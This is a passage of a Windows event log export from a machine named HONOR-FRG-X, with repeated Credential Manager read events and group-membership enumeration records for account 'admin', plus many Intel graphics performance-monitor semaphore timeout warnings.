08:53:02.939\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:53:02.940\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:53:02.940\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:53:02.940\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:53:02.940\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:53:02.940\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:53:02.941\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:53:02.941\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:53:02.941\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:53:02.941\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:53:02.941\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:53:02.941\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:53:02.941\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:53:11.337\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:53:11.344\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:53:11.778\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:53:12.110\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:53:12.442\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:53:12.665\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:53:13.190\t4798\t\"A user's local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\nUser:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\nProcess Information:\n\tProcess ID:\t\t0x3984\n\tProcess Name:\t\tC:\\Program Files\\Google\\Chrome\\Application\\chrome.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:53:13.221\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:53:13.431\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:53:13.645\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:53:13.663\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:53:13.669\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"chrome\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:53:54.629\t16\tCounter 6 of instance ({3976adcc-b8ec-4ff9-ae0c-6943a79f212a}, CIMWin32, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:54:11.248\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:11.253\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:12.137\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:12.360\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:12.584\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:13.592\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:13.817\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:14.263\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:14.486\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:14.710\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:14.932\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:15.156\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:15.381\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:15.441\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:15.450\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"chrome\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:32.421\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:32.425\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:32.759\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:32.981\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:33.316\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:33.759\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:34.095\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:34.541\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:34.984\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:35.209\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:35.421\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:35.864\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:36.531\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:36.863\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:37.197\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:37.530\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:37.754\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:38.089\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:38.312\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:38.534\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:38.756\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:38.978\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:39.206\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:39.312\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:39.426\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:39.531\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:39.866\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:40.538\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:40.760\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:41.321\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:41.545\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:42.210\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:42.432\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:42.989\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:43.322\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:43.648\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:43.863\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:44.196\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:44.417\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:44.639\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:44.863\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:45.638\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:45.860\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:46.083\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:46.302\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:46.971\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:47.640\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:47.976\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:48.199\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:48.872\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:49.088\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:49.293\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:50.955\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:51.401\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:51.624\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:52.284\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:52.506\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:52.714\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:53.379\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:53.601\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 